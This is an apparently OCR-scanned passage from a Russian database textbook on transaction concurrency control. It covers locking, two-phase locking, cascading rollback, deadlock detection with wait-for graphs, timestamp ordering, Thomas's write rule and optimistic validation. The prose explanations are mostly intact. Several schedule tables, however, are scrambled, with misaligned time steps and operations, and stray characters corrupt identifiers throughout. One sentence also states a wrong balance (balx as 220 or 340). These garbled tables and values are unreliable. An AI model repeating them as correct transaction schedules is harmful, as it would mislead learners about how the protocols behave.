Именно методы блокировки чаще всего используются на практике для обеспечения упорядоченности параллельно выполняемых транзакций. Существует несколько различных вариантов этого механизма, однако все они построены на одном и том же фундаментальном принципе: транзакция должна потребовать выполнить блокировку для чтения (разделяемую) или для записи (эксклюзивную) некоторого элемента данных перед тем, как она сможет выполнить в базе данных соответствующую операцию чтения или записи. Установленный блок препятствует модификации элемента данных другими транзакциями или даже считыванию его, если этот блок был установлен для записи. Блокировка может быть выполнена для элементов самого различного размера — начиная с базы данных в целом и заканчивая отдельным полем конкретной записи. Размер блокируемого элемента задается уровнем детализации устанавливаемого блока. Реально блокировка может осуществляться посредством установки некоторого бита в соответствующем элементе данных, означающего, что этот фрагмент базы данных является заблокированным. Другой подход состоит в организации списка заблокированных элементов базы. Существуют и другие методы реализации данного механизма. Принципы детализации блокируемых элементов мы обсудим позже, в разделе 17.2.7, а пока в отношении уровня устанавливаемого блока будем использовать общий термин “элемент данных”. Ниже представлены основные правила метода блокировки.
Блокировка для Если транзакция установила блокировку элемента данных для чтения чтения, она сможет считать его, но не сможет обновить.
Блокировка для Если транзакция установила блокировку элемента данных для записизаписи, она может как читать, так и обновлять этот элемент.
Поскольку операция чтения не может служить причиной конфликта, допускается устанавливать блокировку для чтения одного и того же элемента одновременно со стороны сразу нескольких транзакций. В то же время блокировка элемента для записи предоставляет транзакции эксклюзивное право доступа к нему. Следовательно, до тех пор пока транзакция будет удерживать некоторый элемент заблокированным для записи, никакая другая транзакция не сможет ни считать, ни обновить его. Блокировки обычно используются так, как показано ниже.
Любая транзакция, которой необходимо получить доступ к элементу данных, должна вначале выполнить блокировку этого объекта. Блокировка может запрашиваться для чтения (что позволит иметь доступ к элементу только для чтения) или же для записи. В последнем случае транзакция получит право доступа и для чтения, и для записи.
Если элемент еще не заблокирован какой-либо иной транзакцией, блокировка элемента будет выполнена успешно.
Если элемент данных в настоящий момент уже заблокирован, СУБД проанализирует, является ли тип полученного запроса совместимым с типом уже существующего блока. Если запрашивается доступ для чтения к элементу, который заблокирован для чтения, доступ к элементу данных будет разрешен. В противном случае транзакция будет переведена в состояние ожидания, которое будет продолжаться до тех пор, пока существующий блок не будет снят.
Транзакция продолжает удерживать блокировку элемента данных до тех пор, пока она явным образом не освободит его — либо в ходе выполнения транзакции, либо по ее окончании (успешном или неуспешном). Только после того как с элемента данных будет снята блокировка для записи, другие транзакции смогут “увидеть" результаты проведенной операции записи.
Помимо этих правил, в некоторых системах транзакциям разрешается устанавливать блокировку для чтения, которая позже может расширяться и преобразовываться в блокировку для записи. Такой подход повышает эффективность работы, позво-
ляя транзакциям вначале проанализировать данные, а затем принять решение, следует ли их изменять. Если механизм расширения блокировки не поддерживается, транзакция вынуждена будет удерживать блокировку для записи в отношении всех элементов данных, которые ей может понадобиться обновить в некоторый момент своего выполнения, а это потенциально снижает возможный уровень параллельности обработки данных в системе. По этой же причине в некоторых системах транзакциям разрешается устанавливать блокировку элемента данных для записи, с последующим сужением ее до уровня блокировки для чтения.
Использование в транзакциях блокировок само по себе не гарантирует упорядоченности получаемых графиков, что может быть продемонстрировано на следующем примере.
Пример 17.5. Пример неверного графика с использованием блокировки
Еще раз обратимся к двум транзакциям, представленным в табл. 17.6. Допустимый график, построенный на основе описанных выше правил, может иметь следующий вид:
S = (write lock(T9, balx), read(T9z balx), write(Tq, balx), unlock(T9, balx),
_ write lock(T10, balx), read(T10, balx), write(T10, balx), unlock(T10, balx), write lock(T10, balv), read(T10, balv), write(T10, balv), unlock(T10, balv),
’commit(T10), write lock(T9, balv), read(T9, balv), write(T9, balv),
unlock(T9, balv), commit (T9)}
Если до начала выполнения этого графика на счету balx было 100 фунтов стерлингов, I а на счету balv — 400 фунтов стерлингов, то в результате выполнения указанных ; действий на счету balx будет 220 фунтов стерлингов, а на счету Ьа1у — 330 фунтов ; стерлингов, если транзакция Tfl будет выполнена до транзакции Т10. Если транзакция Т10 будет выполнена до транзакции Т9, то на счету balx будет 210 фунтов стер
лингов, а на счету baly — 340 фунтов. Как видите, результат выполнения графика S 5 может быть различным: balx будет равен либо 220 фунтам стерлингов, либо — 340
фунтам стерлингов. Отсюда следует, что график S не является упорядоченным.
В этом примере проблема состоит в том, что в графике установленная транзакциями блокировка снимается, как только соответствующая операция чтения/записи будет выполнена и доступ к блокируемому элементу данных (скажем, balx) уже больше не потребуется. Однако сама транзакция продолжает блокировать другие элементы данных (baly) и после того, как блокировка элемента balx будет отменена. Хотя подобные действия внешне способствуют повышению уровня параллельности обработки в системе, они позволяют транзакциям оказывать влияние на работу друг друга, что может послужить причиной потери полной изолированности и атомарности транзакций.
Для обеспечения упорядоченности следует использовать дополнительный протокол, определяющий моменты установки и снятия блокировки для каждой из транзакций. Самым известным из таких протоколов является метод двухфазной блокировки (2PL).
Двухфазная блокировка
Двухфазная Транзакция выполняется по протоколу двухфазной блокировки, блокировка если в ней все операции блокирования предшествуют первой операции разблокирования.
В соответствии с основным правилом этого протокола, каждая транзакция может быть разделена на две фазы: фазу нарастания, в которой выполняются все необходимые блокировки и не освобождается ни одного из элементов данных; и фазу сжатия, в которой освобождаются все выполненные ранее блокировки и не может быть затребовано ни одной новой. Нет никакой необходимости в том, чтобы все требуемые блокировки были установлены одновременно. Как правило, транзакция устанавлива-
ет некоторые блокировки, выполняет определенную обработку, после чего может затребовать установку дополнительных необходимых ей блокировок. Однако она не может освободить ни одного из блоков, пока не достигнет той стадии, на которой ей уже не потребуется установка новых блокировок. Работа ведется по приведенным ниже правилам.
■ Прежде чем начать работу с элементом данных, транзакция должна выполнить его блокировку. Блокировка может устанавливаться для чтения или для записи, в зависимости от типа требуемого доступа.
■ Как только транзакция освободит некоторый установленный ею блок, она уже не имеет права затребовать блокировки новых элементов.
Если СУБД поддерживает операции расширения уровня блокировки, то их выполнение допускается только в фазе нарастания. Подобные действия могут перевести транзакцию в состояние ожидания на то время, пока другие транзакции отменят установленные ими блокировки для чтения данного элемента. Снижение уровня блокировки допускается только в фазе сжатия. Рассмотрим, как протокол двухфазной блокировки может помочь в устранении трех проблем, обсуждавшихся нами в разделе 17.2.1.
Пример 17.6. Использование протокола двухфазной блокировки для устранения проблемы потерянного обновления■^
, Способ устранения проблемы потерянного обновления с помощью протокола двух- | фазной блокировки показан в табл. 17.8. Чтобы избежать потери выполненного 4 обновления, транзакция Т2 должна предварительно установить блокировку счета ; balx для записи. Затем она может считать из базы данных текущее значение этого счета, увеличить его на 100 фунтов стерлингов и записать результат в базу дан- ' ных. В момент запуска транзакции Т) она также потребует установить блокировку -
, счета balx для записи. Однако, поскольку этот элемент данных уже будет заблоки- ' рован транзакцией Т2, запрос транзакции Tj удовлетворить не удастся, поэтому t данная транзакция будет переведена в состояние ожидания (wait) освобождения транзакцией Т2 необходимого ей элемента данных. Однако это произойдет только ; после фиксации результатов транзакции Т2 в базе данных.'
Таблица 17.8. Пример устранения проблемы потерянного обновления
Время
Транзакция It
Транзакция T2
Поле balx
ti
begin_transaction
100
t2
begin__transaction
write_lock(balx)
100
1з
write_lock(balx)
read(balx)
100
t4
WAIT
balx = balx + 100
100
ts
WAIT
write(balx)
200
te
WAIT
commit/unlock(balx)
200
tz
read(balx)
200
te
balx = balx -10
200
tg
write(balx)
190
tw
commit/unlock(balx)
190
! Пример 17.7. Использование протокола двухфазной блокировки для . ' j устранения проблемы зависимости от нефиксированных результатов • .
Способ устранения проблемы зависимости от нефиксированных результатов тран- ’ закций продемонстрирован в табл. 17.9. Во избежание возникновения данной !
, ошибки транзакция Т4 должна предварительно установить блокировку счета balx " : для записи. Далее она может считать из базы данных текущее значение этого сче- ' та, увеличить его на 100 фунтов стерлингов, а затем записать новое значение в ба- < зу данных. При выполнении отката этой транзакции выполненное ею обновление > значения счета balx будет отменено и этому элементу данных будет возвращено '
* прежнее значение, равное 100 фунтам стерлингов. В момент начала транзакции Т3 । она также потребует установить блокировку счета balx для записи. Однако, по* скольку этот элемент данных уже будет заблокирован транзакцией Т4, запрос , транзакции Т3 удовлетворить не удастся и она будет переведена в состояние ожи- : дания вплоть до освобождения транзакцией Т4 необходимого ей элемента данных. : \ Это произойдет только после отката результатов выполнения транзакции Т4 и при- ;
ведения базы данных в исходное состояние.;
; Таблица 17.9. Пример устранения проблемы зависимости j от нефиксированных результатов
Время
ТранзакцияТз
ТранзакцияТ4
Поле balx
ti
begin_transaction
100
t2
write_lock(balx)
100
b
read(balx)
100
Ь
begin_transaction
balx = balx + 100
100
b
write_lock(balx)
write(balx)
200
b
WAIT
rollback/unlock(balx)
100
t7
read(balx)
100
b
balx = balx - 10
100
b
write(balx)
90
tio
commit/unlock(balx)
90
, Пример 17.8. Использование протокола двухфазной блокировки для устранения проблемы несогласованной обработки - -
j Способ устранения проблемы несогласованной обработки продемонстрирован в
[ табл. 17.10. Для устранения этой проблемы в транзакции Т5 операциям чтения ; должна предшествовать установка блокировки соответствующих элементов данных
для записи, тогда как в транзакции Тб операциям чтения должна предшествовать , ; установка блокировки считываемых элементов данных для чтения. Таким обра- j зом, в начале своего выполнения транзакция Т5 успешно устанавливает блокиров- ; ку счета balx для записи. В результате, когда в начале своего выполнения тран
закция Т6 потребует установить блокировку счета balx для чтения, этот запрос ч j удовлетворить не удастся. Поэтому транзакция Т6 будет переведена в состояние ! ожидания, вплоть до освобождения требуемого ей элемента данных — т.е. до ; , окончания транзакции Т5.<
■ Таблица 17.10. Пример устранения проблемы несогласованной обработки
Время
Транзакция T5
Транзакция T6
Поле balx
Поле bal.
Поле bal,
Поле sum
ti
begin_transaction
100
50
25
t2
begin_transaction
sum = 0
100
50
25
0
t3
write_lock(balx)
100
50
25
0
u
read(balx)
read_lock(balx)
100
50
25
0
U
balx = balx - 10
WAIT
100
50
25
0
te
write(balx)
WAIT
90
50
25
0
t?
write_lock(balz)
WAIT
90
50
25
0
te
read(balz)
WAIT
90
50
25
0
t9
balz = balz + 10
WAIT
90
50
25
0
tio
write(balz)
WAIT
90
50
35’
0
til
commit/unlock (balx, balz)
WAIT
90
50
35
0
tl2
read(balx)
90
50
35
0
tl3
sum = sum + balx
90
50
35
90
Й4
read_lock(baly)
90
50
35
90 -
tl5
read(baly)
90
50
35
90
tl6
sum = sum + baly
90
50 -
35
140
tl7
read_lock(balz)
90
50
35
140
tl8
read(balz)
90
50
35
140
tl9
sum = sum -v balz
90
50
35
175
too
commit/unlock(balx, baly, balz)
90
50
35
175
Можно доказать, что, если все транзакции в графике следуют двухфазному протоколу блокировки, этот график гарантированно будет конфликтно упорядоченным (Eswaran et al., 1976). Однако, несмотря на то что двухфазный протокол гарантирует упорядоченность, могут иметь место проблемы с интерпретацией допустимого момента выполнения отмены блокировок, что демонстрируется в следующем примере.
• Пример 17.9. Каскадный откат
Рассмотрим график, представленный в табл. 17.11, включающий выполнение трех транзакций в полном соответствии с требованиями протокола двухфазной блокировки. Транзакция Т14 выполняет блокировку счета balx для записи, после чего 1 суммирует его текущее значение с текущим значением счета baly, для которого устанавливается блокировка для чтения. Полученное новое значение заносится в базу данных на счет balx, после чего блокировка этого элемента данных отменяется. Затем транзакция Т15 устанавливает блокировку счета balx для записи, считывает его текущее значение из базы данных, изменяет его и записывает новое значение в
базу данных, после чего отменяет блокировку этого счета. Наконец, транзакция I Т1б устанавливает блокировку счета balx для чтения и считывает из базы данных его текущее значение. В этот момент происходит отказ в работе транзакции Т14, в , результате которого выполняется ее откат. Однако, поскольку транзакция Т15 за; висит от результатов транзакции Т14 (она считывала значение, которые было об, новлено транзакцией Т14), для нее также необходимо выполнить откат. Аналогично, транзакция Т16 зависит от результатов транзакции Т15 и тоже должна быть от; менена с выполнением отката. Подобная ситуация, в которой отмена единственной ' транзакции приводит к целой серии откатов зависящих от нее транзакций, называется каскадным откатом.
Таблица 17.11. Пример каскадного отката при использовании протокола двухфазной блокировки
Время
Транзакция T14Транзакция T15Транзакция T16
tl (2 ь U ts te t7 te tg tio tn tl2 tl3 tl4 tl5 tl6 tl? tl8 tl9
begin_transaction write-lock(balx)
.read(balx)
read_lock(baly)
read(baly)
balx = baly + balx
write(balx)
unlock(balx)begin_transaction
write_lock(balx) ...read(balx)
...balx = balx+ 100
...write(balx)
...unlock(balx)
rollback
...begin_transaction
...read_lock (balx)
rollback...
rollback
Каскадные откаты — явление нежелательное, поскольку потенциально они способны привести к потере большого объема выполненной работы. Совершенно очевидно, что было бы очень полезно разработать протокол, исключающий возникновение каскадных откатов. Одним из возможных вариантов является дополнение обычного двухфазного протокола блокировки требованием откладывать выполнение отмены всех установленных блокировок до конца транзакции — как в предыдущих примерах. В подобном случае продемонстрированная в последнем примере проблема никогда не возникнет, поскольку транзакция Т15 не сможет установить требуемую ей блокировку для записи, пока транзакция Т14 не завершит свою работу тем или иным образом. Этот вариант протокола называют строгим 2PL. Может быть доказано, что при использовании строго протокола двухфазной блокировки транзакции могут быть расположены в том порядке, в котором они завершают свою работу. Другой вариант
протокола 2PL, называемый ограниченным 2PL, предусматривает откладывание до конца транзакции освобождение только блокировок для записи. В большинстве СУБД реализуется один из этих двух вариантов протокола 2PL.
Еще одна проблема, связанная с двухфазной блокировкой, может иметь место при любых схемах освобождения заблокированных элементов. Эта проблема носит название взаимной блокировки и является следствием того факта, что любая транзакция может быть переведена в состояние ожидания освобождения требуемого ей элемента данных. Если две транзакции будут ожидать освобождения элементов, заблокированных другой транзакцией из этой же пары, то возникнет состояние взаимной блокировки. (Выявление ситуаций взаимной блокировки и методы выхода из них будут обсуждаться в следующем разделе.) Кроме того, транзакции могут входить в состояние бесконечного ожидания (самоблокировки), не имея возможности установить требуемую им новую блокировку, хотя СУБД не будет фиксировать состояния взаимной блокировки. Эта ситуация возможна в случаях, когда алгоритм перевода транзакций в состояние ожидания недоработан и не принимает во внимание время, на протяжении которого транзакция уже находится в состоянии ожидания. Для исключения самоблокировок может использоваться система приоритетов, в которой приоритет транзакции тем выше, чем дольше она находится в состоянии ожидания. Альтернативным вариантом является использование для ожидающих транзакций очереди, построенной по схеме “первым пришел, первым обслуживается”.
Взаимная блокировка
Взаимная Тупиковая ситуация, которая может возникнуть, когда две (или блокировка более) транзакции находятся во взаимном ожидании освобождения блокировок, удерживаемых каждой из них.
В табл. 17.12 приведен график выполнения двух транзакций, Т17 и Т18, приводящий к возникновению взаимной блокировки, поскольку каждая из этих транзакций входит в состояние ожидания освобождения требуемого ресурса другой транзакцией. В момент времени t2 транзакция Т17 запрашивает и осуществляет блокировку для записи элемента данных balx, а в момент времени t3 транзакция Т)8 выполняет блокировку для записи элемента данных baly. Когда в момент времени t6 транзакция Т17 запрашивает блокировку для записи элемента данных baly, она переводится в состояние ожидания, поскольку этот элемент данных уже заблокирован транзакцией Т18. В момент времени t7 транзакция Т18, в свою очередь, запрашивает блокировку для записи элемента данных balx и также переводится в состояние ожидания, поскольку этот элемент оказывается заблокированным транзакцией Т17. Ни одна из транзакций не в состоянии продолжить свою работу, поскольку каждая ожидает завершения работы другой. Если в системе возникает состояние взаимной блокировки, вовлеченные в него приложения не смогут разрешить данную проблему собственными силами. Ответственность за обнаружение взаимных блокировок и выхода тем или иным образом из этой тупиковой ситуации должна быть возложена на СУБД.
Таблица 17.12. Пример взаимной блокировки двух транзакций>
Время
Транзакция T17
Транзакция T18
ti
begin_transaction
h
write_lock(balx)
begin_transaction
h
read(balx)
write_lock(baly)
t4
balx = balx - 10
read(baly)
is
write(balx)
baly = baly + 100
Окончание табл. 17.12
Время
Транзакция Т17
Транзакция T18
t6
write_lock(baly)
write(baly)
ь
WAIT
write_lock(balx)
h
WAIT
WAIT
WAIT
WAIT
ho
WAIT
hi
К сожалению, существует только один способ нарушить состояние взаимной блокировки — выполнение одной или более транзакций должно быть отменено. Подобное действие будет сопровождаться откатом всех изменений, внесенных отмененными транзакциями. Для приведенного в табл. 17.12 примера можно, скажем, отменить выполнение транзакции Т18. Как только ее откат будет завершен, все установленные этой транзакцией блокировки будут отменены и транзакция Т17 сможет продолжить свое выполнение. Ситуация взаимной блокировки должна быть абсолютно прозрачной для конечных пользователей, поэтому СУБД следует автоматически перезапустить все отмененные ею транзакции.
Существует два общих метода обработки взаимных блокировок: предупреждение этих ошибочных ситуаций и выявление взаимных блокировок с последующим их устранением. При использовании метода предупреждения взаимных блокировок СУБД заранее определяет ситуации, в которых транзакция сможет вызвать появление данной ошибки, и предотвращает их возникновение. При использовании метода выявления и устранения взаимных блокировок, СУБД допускает появление подобных ситуаций в системе, однако затем распознает их появление и организует выход из сложившейся тупиковой ситуации. Поскольку метод выявления и устранения проще метода предупреждения, в большинстве систем используется именно этот вариант действий.
Предупреждение взаимных блокировок
Один из возможных подходов предупреждения взаимных блокировок состоит в установлении порядка выполнения транзакций на основе использования временных отметок, о чем речь пойдет ниже в этой же главе. Были предложены два возможных алгоритма (Rosenkrantz et al., 1978). Первый алгоритм, получивший название “ожидание-отмена”, требует, чтобы более старые транзакции ожидали завершения более новых. В противном случае транзакция отменяется и перезапускается с той же самой временной отметкой. Однако рано или поздно она станет самой старой из активных транзакций и уже не будет отменена. Второй алгоритм, “отмена-ожидание”, использует диаметрально противоположный подход: только более новые транзакции могут ожидать завершения более старой транзакции. Если более старая транзакция потребует выполнения блокировки элемента данных, уже заблокированного более новой транзакцией, последняя будет отменена.
Выявление взаимных блокировок
Выявление взаимных блокировок обычно производится с помощью конструкции, называемой графом ожиданий (wait-for graph — WFG). Этот граф отражает зависимость транзакций друг от друга. Транзакция Т; зависит от транзакции Т> в том случае, если транзакция Т, заблокировала элемент данных, необходимый для продолжения работы транзакции ТР Граф ожиданий строится следующим образом.
Для каждой выполняющейся транзакции создается отдельная вершина.
Отдельное направленное ребро Т4—>Tj создается для каждого случая, когда транзакция Tj ожидает освобождения элемента данных, заблокированного транзакцией Tje
Взаимная блокировка имеет место в том и только в том случае, если граф ожиданий содержит петлю (Holt, 1972). На рис. 17.3 показан граф ожиданий для транзакций, представленных в табл. 17.12. Как можно видеть, этот граф содержит петлю (Т17—>Т18->Т17), поэтому можно сделать заключение, что в системе имеет место ситуация взаимной блокировки.
Рис. 17.3. Граф ожиданий, демонстрирующий наличие взаимной блокировки между двумя транзакциями
Поскольку наличие петли в графе ожиданий является необходимым и достаточным условием существования в системе ситуации взаимной блокировки, алгоритм выявления этих ошибочных ситуаций предполагает генерирование через регулярные интервалы времени графа текущих ожиданий в системе и анализ его на наличие петель. Выбор интервала времени между последовательными генерациями графа имеет важное значение. Если установленный интервал окажется слишком малым, выявление взаимных блокировок создаст в системе заметную перегрузку. Если выбранный интервал будет слишком большим, наличие взаимной блокировки может оставаться незамеченным достаточно продолжительное время. Динамический алгоритм выявления взаимных блокировок начинает свою работу с некоторого исходного значения интервала. Каждый раз после генерации графа, не указывающего на наличие взаимной блокировки, интервал может быть увеличен — например, удвоен. При каждом обнаружении ситуации взаимной блокировки интервал укорачивается — например, наполовину. Кроме того, необходимо установить максимальное и минимальное значение интервала.
Использование временных отметок
Использование методов блокировки в сочетании с двухфазным протоколом гарантирует упорядоченность графиков. Порядок следования транзакций в эквивалентном последовательном графике основывается на той очередности, в которой транзакции выполняют блокировку требуемых им элементов данных. Если транзакции требуется элемент, который уже заблокирован другой транзакцией, она переводится в состояние ожидания вплоть до освобождения требуемого ресурса. Другой подход, который также гарантирует достижение упорядоченности, для определения очередности выполнения транзакций в эквивалентном последовательном графике использует временные отметки транзакций.
Методы использования временных отметок (timestamp), применяемые для контроля целостности данных, совершенно отличаются от методов с использованием блокировок. Не требуется применение каких-либо блокировок, и, следовательно, исключается возможность возникновения взаимных блокировок процессов, Методы блокировки обычно устраняют возможные конфликты посредством перевода транзакций в состояние ожидания. Методы с использованием временных отметок не предусматривают какого-либо ожидания — вовлеченные в конфликт транзакции просто отменяются, после чего запускаются заново.
Временная Уникальный идентификатор, создаваемый СУБД с целью обозна- отметкачения относительного момента времени запуска транзакции.
Временная отметка может быть создана с использованием системных часов для фиксации момента запуска транзакции либо посредством увеличения значения некоторого логического счетчика при каждом запуске очередной транзакции.
Метод
Протокол управления параллельностью, основная цель которого
использования
состоит в установлении глобальной очередности выполнения
временных
транзакций, при которой более старые транзакции (транзакции
отметок
с меньшим значением временной отметки) имеют более высокий приоритет при разрешении возникающих конфликтов.
При использовании протокола временных отметок, если транзакция предпринимает попытку чтения или записи элемента данных, операция чтения или записи выполняется только в том случае, если последнее обновление требуемого элемента данных было выполнено более старой транзакцией. В противном случае транзакция, запросившая операцию чтения/записи, отменяется и перезапускается с присвоением ей новой временной отметки. Новая временная отметка должна быть присвоена перезапускаемой транзакции для того, чтобы предотвратить ее попадание в цикл постоянной отмены и перезапуска. Без получения новой временной отметки транзакция с более старой временной отметкой не сможет завершить свою работу, поскольку более новая транзакция уже успела зафиксировать свои результаты в базе данных.
Помимо временных отметок для транзакций, в системе должны использоваться временные отметки для элементов данных. Каждый элемент данных должен иметь временную отметку чтения, содержащую временную отметку последней из транзакций, выполнивших его чтение, и временную отметку записи, содержащую временную отметку последней транзакции, записавшей (обновившей) содержимое этого элемента данных. Согласно протоколу с упорядочиванием по временным отметкам, обработка транзакции Т, имеющей временную отметку ts(T), выполняется следующим образом.
Вариант 1. Транзакция Твыдает команду read(x)
Транзакция Т запрашивает операцию чтения элемента данных (х), который уже обновлялся более новой (поздней) транзакцией: ts(T) < write_timestamp(x).
Это означает, что более старая транзакция запрашивает операцию чтения элемента, который уже был обновлен более новой транзакцией. Более старая транзакция опоздала и уже не может считать предыдущее, устаревшее значение, поэтому весьма вероятно, что любые другие считанные ею значения данных могут быть не согласованы с измененным значением запрошенного элемента данных. В подобной ситуации выполнение транзакции Т должно быть прекращено, после чего ее следует перезапустить с новой временной отметкой.
В противном случае (ts(T) > write_timestamp(x)) операция чтения может быть выполнена.
Вариант 2. Транзакция Твыдает команду write(x)
Транзакция Т запрашивает запись элемента данных (х), значение которого уже было считано более новой транзакцией:
ts(T) < read_timestainp(х)
Это означает, что более новая транзакция уже использовала текущее значение элемента данных и в результате его обновления данной транзакцией может возникнуть ошибка. Подобная ситуация возникает в тех случаях, когда транзакция опоздала с выполнением записи и более новая транзак-
ция уже считала элемент данных или даже перезаписала его. Единственным правильным решением в этой ситуации будет выполнить откат транзакции Т и перезапустить ее с использованием новой временной отметки.
Транзакция Т запрашивает запись элемента данных (х), значение которого уже было перезаписано более новой транзакцией:
ts(T) < write_timestamp(x)
Это означает, что транзакция Т пытается поместить в элемент данных (х) устаревшее значение. Выполнение данной транзакции должно быть прекращено, после чего ее следует перезапустить с новой временной отметкой.
В противном случае операция записи может быть выполнена, а временной отметке записи обновляемого элемента данных должно быть присвоено новое значение: write_timestamp(x) = ts(T).
Эта схема, называемая базовым протоколом упорядочивания по временным отметкам, гарантирует, что график выполнения транзакций будет конфликтно упорядоченным, а результаты его выполнения будут эквивалентны последовательному графику, в котором транзакции выполняются в хронологическом порядке присваиваемых им временных отметок. Другими словами, результаты выполнения данного графика будут такими же, как в случае поочередного запуска транзакций в порядке номеров, без чередования их операций. Однако базовый протокол упорядочивания по временным отметкам не обеспечивает восстанавливаемости графиков. Приведенный ниже пример демонстрирует, как изложенные выше правила могут применяться для генерации графика на основе использования временных отметок.
Правило записи Томаса
Для обеспечения повышенного уровня параллельности может использоваться модернизированный базовый протокол упорядочивания по временным отметкам, который позволяет достичь менее жесткой конфликтной упорядоченности за счет отмены устаревших операций записи. Это расширение, известное как правило записи Томаса, предполагает следующее изменение правил выполнения транзакцией Т операции записи.
Транзакция Т запрашивает запись элемента данных (х), значение которого уже было считано более новой транзакцией:
ts(T) < read__timestamp(x)
Транзакция Т откатывается и перезапускается с новой временной отметкой.
Транзакция Т запрашивает запись элемента данных (х), значение которого уже было перезаписано более новой транзакцией:
ts(T) < write_timestamp(x)
Это означает, что более новая транзакция уже перезаписала значение этого элемента данных и значение, которое более старая транзакция собирается записать в данный элемент, было вычислено на основе устаревшего исходного значения данного элемента. В подобном случае операция записи вполне безопасно может быть проигнорирована. Этот метод иногда называют правилом игнорирования устаревшей записи. Его применение позволяет повысить уровень параллельности обработки в системе.
В противном случае операция записи может быть выполнена, а временной отметке записи обновляемого элемента данных должно быть присвоено новое значение: write_timestamp(x) = ts(T).
Применение правила записи Томаса позволяет генерировать графики, которые невозможно создать при использовании каких-либо других протоколов управления параллельностью, обсуждавшихся в этой главе. Например, график, представленный в табл. 17.7, не является конфликтно упорядоченным — операция записи на счет balx, выполняемая
транзакцией Тп, следует за операцией записи на этот же счет, уже выполненной транзакцией Т12. Поэтому более поздняя операция записи должна быть отклонена, для транзакции Ти должен быть выполнен откат, после чего она должна быть перезапущена с новой временной отметкой. В противоположность этому, при использовании правила записи Томаса данный упорядоченный по просмотру график станет вполне корректным и откат какой-либо из представленных в нем транзакций не потребуется.
Еще один протокол с использованием временных отметок, построенный на допущении существования нескольких версий каждого из элементов данных, будет рассмотрен в разделе 22.4.2.
, ■ Пример 17.10. Базовый протокол упорядочивания.
• ло временным отметкам
В табл. 17.13 представлен график параллельного выполнения трех транзакций, > причем транзакция Т19 имеет временнг/ю отметку ts(T19), транзакция Т20 — ts(T20), а транзакция Т21 — ts(T21); ts(T19) < ts(T20) < ts(T21).
j Таблица 17.13. Пример использования протокола упорядочивания по временным отметкам
Время
Операция
Транзакция T19
Транзакция T^
Транзакция T21
ti
begin_transaction
*2
read(balx)
read(balx)
tj
balx = balx + 10
balx =
balx + 10
h
write(balx)
write(balx)
begin_transaction
h
read(baly)
read(baly)
h
baly = baly + 20
baly =
begin_transaction
baly + 20
h
read(baly)
read(baly)
write(baly)
write(baly)”
h
baly = baly + 30
baly =
baly + 30
ho
write(baly)
write(baly)
hi
bal2 = 100
balz = 100
hi
write(bal2)
write(bal2)
hi
balz = 50
balz = 50
commit
h<
write(bal2)
begin_transaction
write(bal2)MH
hs
read(baly)
commit
read(baly)
he
baly = baly 4-20
baly =
baly + 20
h?
write(baly)
write(baly)
he
commit
В момент времени t8 операция записи, выполняемая транзакцией Т20, нарушает первое правило записи, приведенное в описании протокола с использованием временных отметок. Поэтому она отменяется и вновь запускается в момент времени t14.
* В момент времени t14 операция записи, выполняемая транзакцией Т19, может быть безопасно проигнорирована с использованием правила игнорирования устаревших операций записи, поскольку транзакция Т21 уже поместила новое значение в этот элемент данных в момент времени t12.
Оптимистические технологии
В некоторых типах вычислительных систем конфликты между транзакциями происходят очень редко, поэтому дополнительная обработка, вызванная поддержкой протоколов с блокировкой или с использованием временных меток, оказывается совершенно излишней для большей части транзакций. Оптимистические технологии основываются на предположении, что конфликты в системе возможны нечасто, поэтому эффективнее будет организовать выполнение транзакций, исключив все задержки, связанные с достижением гарантированной упорядоченности (Kung and Robinson, 1981). Перед завершением работы транзакции выполняется проверка с целью определения, имел ли место конфликт. Если это так, транзакция откатывается и перезапускается. Поскольку исходно утверждается, что конфликты в данной системе — явление нечастое, то и откатов потребуется выполнять немного. Дополнительная нагрузка, связанная с перезапуском некоторых транзакций, может оказаться довольно значительной, поскольку, по сути, она будет связана с повторным выполнением всей транзакции в целом. Поэтому применение данной схемы имеет смысл только в том случае, если откаты будут происходить достаточно редко, а большая часть транзакций в системе будет выполняться без каких-либо дополнительных задержек. Подобная технология потенциально позволяет достичь существенно более высокого уровня параллельности по сравнению с традиционными протоколами, поскольку она не требует использования механизма блокировок.
Оптимистический протокол управления параллельностью включает до трех фаз, в зависимости от того, выполняется ли в данной транзакции только чтение или еще и обновление информации.
Фаза чтения. Она охватывает транзакцию от ее начала и вплоть до момента непосредственного выполнения фиксации результатов. Транзакция считывает значения всех необходимых ей элементов данных и помещает их в локальные переменные. Любые обновления применяются только к локальной копии данных, но не к информации, сохраняемой в самой базе данных.
Фаза проверки. Эта фаза следует за фазой чтения. Выполняются проверки, необходимые для получения гарантий отсутствия нарушения упорядоченности в случае переноса в базу данных изменений, выполненных транзакцией. Для транзакций, включающих только операции чтения, проверка состоит в подтверждении того, что использованные транзакцией значения по-прежнему остаются текущими значениями соответствующих элементов данных. Если нарушений не отмечено, транзакция завершает свое выполнение. Если найдены измененные значения, транзакция отменяется и перезапускается. Если в транзакции выполнялось обновление данных, то проверка включает выполнение контроля, сохранится ли база данных в согласованном состоянии после внесения в нее результатов данной транзакции, а также не будут ли нарушены условия упорядоченности. В случае обнаружения ошибки транзакция отменяется и перезапускается.
Фаза записи. Эта фаза выполняется после успешного завершения фазы проверки, но только в отношении транзакций, включающих операции обновления. В этой фазе все изменения, внесенные в локальные копии данных, переносятся собственно в базу данных.
В фазе проверки анализируются входящие в транзакцию операции чтения и записи, способные оказать влияние на выполнение других транзакций. Каждой транзакции в начале ее выполнения присваивается некоторая временная отметка, Start(Т). Дополнительные временные отметки присваиваются транзакции в начале фазы проверки (Validation(Т)) и в момент завершения ее выполнения (Finish(T) — включая и фазу записи, если таковая имеется). Для того чтобы все проверки были удовлетворены, должно выполняться одно из следующих условий.
Все транзакции S с более старыми временными отметками должны быть уже завершены до начала выполнения транзакции Т:
Finish(S) < Start(Т)
Если транзакция Т стартовала до завершения какой-либо из транзакций S, то:
множество элементов данных, записанных стартовавшей ранее транзакцией, не должно включать ни одного из элементов данных, прочитанных данной транзакцией;
фаза записи стартовавшей ранее транзакции должна быть завершена до перехода текущей транзакции в фазу проверки:
Start(Т) < Finish(S) < Validation(Т)
Правило 2,а гарантирует, что данные, записанные начавшейся ранее транзакцией, не считывались текущей транзакцией. Правило 2,6 гарантирует, что операции записи будут упорядоченными и не будут конфликтовать.
